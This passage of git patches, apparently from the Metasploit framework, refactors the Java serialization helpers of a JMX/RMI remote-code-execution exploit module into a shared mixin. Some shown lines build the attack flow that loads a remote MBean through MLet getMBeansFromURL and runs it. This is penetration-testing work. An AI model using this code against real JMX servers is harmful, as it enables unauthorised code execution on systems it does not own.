Rex::Java::Serialization::Model::EndBlockData.new + ] + data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + data_binary = Rex::Java::Serialization::Model::NewArray.new + data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new + data_binary.array_description.description = data_binary_class_desc + data_binary.type = 'byte' + data_binary.values = marshalled_argument(arguments).encode.unpack('C*') + + marshall_object = Rex::Java::Serialization::Model::NewObject.new + marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object.class_desc.description = marshall_object_class_desc + marshall_object.class_data = [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + + stream.contents << marshall_object + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + new_array_class_desc.serial_version = 0xadd256e7e91d7b47 + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.String;' + new_array.values = [] + arguments.keys.each do |k| + new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k) + end + + stream.contents << new_array + + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def marshalled_argument(arguments) + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ ] + arguments.values.each do |v| + new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v) + end + stream.contents << new_array + + stream + end + end + end + end +end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 3c0575c051..a17c5dc75f 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Jmx include Msf::Exploit::Remote::HttpServer include Msf::Rmi::Client @@ -113,8 +114,6 @@ class Metasploit3 < Msf::Exploit::Remote return_data = recv_return(sock: server_sock) - print_status("#{return_data}") - if return_data.nil? fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") end @@ -173,104 +172,6 @@ class Metasploit3 < Msf::Exploit::Remote disconnect end - def build_handshake(id) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8" - block_data.length = block_data.contents.length - - stream.contents << block_data - - if datastore['USERNAME'] - username = datastore['USERNAME'] - password = datastore['PASSWORD'] || '' - - stream.contents << build_array_auth(username, password) - else - stream.contents << Rex::Java::Serialization::Model::NullReference.new - end - - stream - end - - def build_array_auth(username, password) - auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - auth_array_class_desc.serial_version = 0xadd256e7e91d7b47 - auth_array_class_desc.flags = 2 - auth_array_class_desc.fields = [] - auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - auth_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - auth_array = Rex::Java::Serialization::Model::NewArray.new - auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - auth_array.array_description.description = auth_array_class_desc - auth_array.type = 'java.lang.String;' - auth_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] - - auth_array - end - - def extract_rmi_connection_stub(stream) - stub = false - stub_index = 0 - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - stub = true - break - end - stub_index = stub_index + 1 - end - - unless stub - return nil - end - - block_data = stream.contents[stub_index + 1] - data_io = StringIO.new(block_data.contents) - - ref_length = data_io.read(2) - unless ref_length && ref_length.length == 2 - return nil - end - ref_length = ref_length.unpack('n')[0] - - ref = data_io.read(ref_length) - unless ref && ref.length == ref_length && ref == 'UnicastRef' - return nil - end - - address_length = data_io.read(2) - unless address_length && address_length.length == 2 - return nil - end - address_length = address_length.unpack('n')[0] - - address = data_io.read(address_length) - unless address && address.length == address_length - return nil - end - - port = data_io.read(4) - unless port && port.length == 4 - return nil - end - port = port.unpack('N')[0] - - id = data_io.read - - { address: address, port: port, :id => id } - end - def get_mbean_server print_status("#{peer} - Sending RMI Header...") connect @@ -303,302 +204,6 @@ class Metasploit3 < Msf::Exploit::Remote mbean_server end - def build_discovery - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" - block_data.length = block_data.contents.length - - stream.contents << block_data - - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') - - stream - end - - def extract_mbean_server(stream) - my_block = false - stub = false - i = 0 - stub_index = 0 - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::BlockData && i == 0 - my_block = true - end - - if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub' - stub = true - stub_index = i - break - end - i = i + 1 - end - - unless my_block && stub - return nil - end - - my_block_id = stream.contents[0].contents[1..-1] - - block_data = stream.contents[stub_index + 1] - data_io = StringIO.new(block_data.contents) - - ref_length = data_io.read(2) - unless ref_length && ref_length.length == 2 - return nil - end - ref_length = ref_length.unpack('n')[0] - - ref = data_io.read(ref_length) - unless ref && ref.length == ref_length && ref == 'UnicastRef' - return nil - end - - address_length = data_io.read(2) - unless address_length && address_length.length == 2 - return nil - end - address_length = address_length.unpack('n')[0] - - address = data_io.read(address_length) - unless address && address.length == address_length - return nil - end - - port = data_io.read(4) - unless port && port.length == 4 - return nil - end - port = port.unpack('N')[0] - - id = data_io.read - - { address: address, port: port, id: id, my_id: my_block_id } - end - - def build_get_instance(id, name) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id - block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - def get_instance_answer(stream) - new_object = nil - - if stream.contents[1] - new_object = stream.contents[1] - else - print_error("#{peer} - getObjectInstance returned an incorrect answer") - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getObjectInstance didn't return a new object") - return nil - end - - new_object.class_desc.description.class_name.contents - end - - def build_create_instance(id, name) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents << id - block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" - block_data.length = block_data.contents.length - - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - def build_invoke(id, object_name, method_name, arguments) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = id - block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - - marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') - marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e - marshall_object_class_desc.flags = 2 - marshall_object_class_desc.fields = [ - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new - ] - - marshall_object_class_desc.fields[0].type = 'int' - marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') - - marshall_object_class_desc.fields[1].type = 'array' - marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') - marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.fields[2].type = 'array' - marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') - marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - marshall_object_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - - data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - data_binary_class_desc.serial_version = 0xacf317f8060854e0 - data_binary_class_desc.flags = 2 - data_binary_class_desc.fields = [] - data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - data_binary_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - data_binary = Rex::Java::Serialization::Model::NewArray.new - data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new - data_binary.array_description.description = data_binary_class_desc - data_binary.type = 'byte' - data_binary.values = marshalled_argument(arguments).encode.unpack('C*') - - marshall_object = Rex::Java::Serialization::Model::NewObject.new - marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object.class_desc.description = marshall_object_class_desc - marshall_object.class_data = [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - - stream.contents << marshall_object - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - new_array_class_desc.serial_version = 0xadd256e7e91d7b47 - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.String;' - new_array.values = [] - arguments.keys.each do |k| - new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k) - end - - stream.contents << new_array - - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream - end - - def marshalled_argument(arguments) - stream = Rex::Java::Serialization::Model::Stream.new - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') - new_array_class_desc.serial_version = 0x90ce589f1073296c - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.Object;' - new_array.values = [ ] - arguments.values.each do |v| - new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v) - end - stream.contents << new_array - - stream - end - def load_payload(server_sock, conn_stub) print_status("Starting service...") start_service @@ -681,22 +286,4 @@ class Metasploit3 < Msf::Exploit::Remote stop_service end - def get_mbean_from_url_answer(stream) - new_object = nil - - if stream.contents[3] - new_object = stream.contents[3] - else - print_error("#{peer} - getMBeansFromURL returned an incorrect answer") - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getMBeansFromURL didn't return a new object") - return nil - end - - new_object.class_desc.description.class_name.contents - end - end From 2d2f26a0e34767065c65ae3bbc5576279e995311 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 23:01:23 -0600 Subject: [PATCH 046/103] Change method names for stream builders --- lib/msf/jmx/discovery.rb | 2 +- lib/msf/jmx/handshake.rb | 6 +++--- lib/msf/jmx/mbean/server_connection.rb | 10 +++++----- modules/exploits/multi/misc/java_jmx_server.rb | 14 +++++++------- 4 files changed, 16 insertions(+), 16 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 39013b36d6..3a2bd511ec 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -3,7 +3,7 @@ module Msf module Jmx module Discovery - def build_discovery + def discovery_stream stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index 70dcfa6e21..c18cb890e3 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -3,7 +3,7 @@ module Msf module Jmx module Handshake - def build_handshake(id) + def handshake_stream(id) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -16,7 +16,7 @@ module Msf username = datastore['USERNAME'] password = datastore['PASSWORD'] || '' - stream.contents << build_array_auth(username, password) + stream.contents << auth_array_stream(username, password) else stream.contents << Rex::Java::Serialization::Model::NullReference.new end @@ -24,7 +24,7 @@ module Msf stream end - def build_array_auth(username, password) + def auth_array_stream(username, password) auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') auth_array_class_desc.serial_version = 0xadd256e7e91d7b47 diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index 8a5b5167f0..e30dfec357 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -5,7 +5,7 @@ module Msf module MBean module ServerConnection - def build_create_instance(id, name) + def create_mbean_stream(id, name) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -21,7 +21,7 @@ module Msf stream end - def build_get_instance(id, name) + def get_object_instance_stream(id, name) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -57,7 +57,7 @@ module Msf stream end - def build_invoke(id, object_name, method_name, arguments) + def invoke_stream(id, object_name, method_name, arguments) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -138,7 +138,7 @@ module Msf data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new data_binary.array_description.description = data_binary_class_desc data_binary.type = 'byte' - data_binary.values = marshalled_argument(arguments).encode.unpack('C*') + data_binary.values = invoke_arguments_stream(arguments).encode.unpack('C*') marshall_object = Rex::Java::Serialization::Model::NewObject.new marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new @@ -180,7 +180,7 @@ module Msf stream end - def marshalled_argument(arguments) + def invoke_arguments_stream(arguments) stream = Rex::Java::Serialization::Model::Stream.new new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index a17c5dc75f..a697bae8d4 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending handshake / authentication...") - send_call(sock: server_sock, call_data: build_handshake(mbean[:id].chop)) + send_call(sock: server_sock, call_data: handshake_stream(mbean[:id].chop)) return_data = recv_return(sock: server_sock) @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Getting JMXPayload instance...") - my_stream = build_get_instance(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1') + my_stream = get_object_instance_stream(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1') send_call(sock: server_sock, call_data: my_stream) return_data = recv_return(sock: server_sock) @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Executing payload...") - my_stream = build_invoke( + my_stream = invoke_stream( conn_stub[:id].chop, 'MLetCompromise:name=jmxpayload,id=1', 'run', @@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Sending JMXRMI discovery call...") - send_call(call_data: build_discovery) + send_call(call_data: discovery_stream) return_data = recv_return if return_data.nil? @@ -209,7 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote start_service print_status("#{peer} - Creating javax.management.loading.MLet MBean...") - send_call(sock: server_sock, call_data: build_create_instance(conn_stub[:id].chop, 'javax.management.loading.MLet')) + send_call(sock: server_sock, call_data: create_mbean_stream(conn_stub[:id].chop, 'javax.management.loading.MLet')) return_data = recv_return(sock: server_sock) answer = get_instance_answer(return_data) @@ -229,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Getting javax.management.loading.MLet instance...") - my_stream = build_get_instance(conn_stub[:id].chop , 'DefaultDomain:type=MLet') + my_stream = get_object_instance_stream(conn_stub[:id].chop , 'DefaultDomain:type=MLet') send_call(sock: server_sock, call_data: my_stream) return_data = recv_return(sock: server_sock) @@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - my_stream = build_invoke( + my_stream = invoke_stream( conn_stub[:id].chop, 'DefaultDomain:type=MLet', 'getMBeansFromURL', From d9c6c5677912d9dab11c12c7bfe211f085a1552f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 23:15:30 -0600 Subject: [PATCH 047/103] Refactor extract_rmi_connection_stub --- lib/msf/jmx.rb | 28 ++++++++++- lib/msf/jmx/handshake.rb | 48 +++---------------- .../exploits/multi/misc/java_jmx_server.rb | 2 +- 3 files changed, 35 insertions(+), 43 deletions(-) diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb index 2c72dbfff4..6663eba063 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/jmx.rb @@ -44,5 +44,31 @@ module Msf end new_object.class_desc.description.class_name.contents - end end + end + + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + end end diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index c18cb890e3..b220e85cb6 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -50,51 +50,17 @@ module Msf auth_array end - def extract_rmi_connection_stub(stream) - stub = false - stub_index = 0 - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - stub = true - break - end - stub_index = stub_index + 1 - end - - unless stub - return nil - end - - block_data = stream.contents[stub_index + 1] + def extract_rmi_connection_stub(block_data) data_io = StringIO.new(block_data.contents) - ref_length = data_io.read(2) - unless ref_length && ref_length.length == 2 - return nil - end - ref_length = ref_length.unpack('n')[0] + ref = extract_string(data_io) + return nil unless ref && ref == 'UnicastRef' - ref = data_io.read(ref_length) - unless ref && ref.length == ref_length && ref == 'UnicastRef' - return nil - end + address = extract_string(data_io) + return nil unless address - address_length = data_io.read(2) - unless address_length && address_length.length == 2 - return nil - end - address_length = address_length.unpack('n')[0] - - address = data_io.read(address_length) - unless address && address.length == address_length - return nil - end - - port = data_io.read(4) - unless port && port.length == 4 - return nil - end - port = port.unpack('N')[0] + port = extract_int(data_io) + return nil unless port id = data_io.read diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index a697bae8d4..c8a4eceda6 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed") when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' print_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_rmi_connection_stub(return_data) + conn_stub = extract_rmi_connection_stub(return_data.contents[2]) else fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}") end From c516190d0735bd5b921e1a7192af08613189a7b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 23:21:54 -0600 Subject: [PATCH 048/103] Create Msf::Jmx::Util --- lib/msf/jmx.rb | 65 +++---------------------------------------- lib/msf/jmx/util.rb | 68 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+), 61 deletions(-) create mode 100644 lib/msf/jmx/util.rb diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb index 6663eba063..ff7fbc1e82 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/jmx.rb @@ -1,74 +1,17 @@ # -*- coding: binary -*- +require 'rex/java/serialization' + module Msf module Jmx + require 'msf/jmx/util' require 'msf/jmx/discovery' require 'msf/jmx/handshake' require 'msf/jmx/mbean' + include Msf::Jmx::Util include Msf::Jmx::Discovery include Msf::Jmx::Handshake include Msf::Jmx::MBean - - def get_instance_answer(stream) - new_object = nil - - if stream.contents[1] - new_object = stream.contents[1] - else - print_error("#{peer} - getObjectInstance returned an incorrect answer") - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getObjectInstance didn't return a new object") - return nil - end - - new_object.class_desc.description.class_name.contents - end - - def get_mbean_from_url_answer(stream) - new_object = nil - - if stream.contents[3] - new_object = stream.contents[3] - else - print_error("#{peer} - getMBeansFromURL returned an incorrect answer") - return nil - end - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - print_error("#{peer} - getMBeansFromURL didn't return a new object") - return nil - end - - new_object.class_desc.description.class_name.contents - end - - def extract_string(io) - raw_length = io.read(2) - unless raw_length && raw_length.length == 2 - return nil - end - length = raw_length.unpack('n')[0] - - string = io.read(length) - unless string && string.length == length - return nil - end - - string - end - - def extract_int(io) - int_raw = io.read(4) - unless int_raw && int_raw.length == 4 - return nil - end - int = int_raw.unpack('N')[0] - - int - end end end diff --git a/lib/msf/jmx/util.rb b/lib/msf/jmx/util.rb new file mode 100644 index 0000000000..f00759dbce --- /dev/null +++ b/lib/msf/jmx/util.rb @@ -0,0 +1,68 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + module Util + def get_instance_answer(stream) + new_object = nil + + if stream.contents[1] + new_object = stream.contents[1] + else + print_error("#{peer} - getObjectInstance returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getObjectInstance didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end + + def get_mbean_from_url_answer(stream) + new_object = nil + + if stream.contents[3] + new_object = stream.contents[3] + else + print_error("#{peer} - getMBeansFromURL returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getMBeansFromURL didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end + + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + end + end +end From ab391f3b32422031fb28f5fc06b2a892809f068d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 17 Jan 2015 22:40:43 -0600 Subject: [PATCH 049/103] Do minor JMX mixin cleanup --- lib/msf/jmx/discovery.rb | 3 +-- lib/msf/jmx/handshake.rb | 8 +++---- lib/msf/jmx/mbean/server_connection.rb | 30 +++++++++++++------------- lib/msf/jmx/util.rb | 8 +++---- 4 files changed, 24 insertions(+), 25 deletions(-) diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb index 3a2bd511ec..3ab99c5f57 100644 --- a/lib/msf/jmx/discovery.rb +++ b/lib/msf/jmx/discovery.rb @@ -12,7 +12,6 @@ module Msf block_data.length = block_data.contents.length stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') stream @@ -75,7 +74,7 @@ module Msf id = data_io.read - { address: address, port: port, id: id, my_id: my_block_id } + { address: address, port: port, id: id } end end end diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb index b220e85cb6..a90f18d52f 100644 --- a/lib/msf/jmx/handshake.rb +++ b/lib/msf/jmx/handshake.rb @@ -32,8 +32,8 @@ module Msf auth_array_class_desc.fields = [] auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new 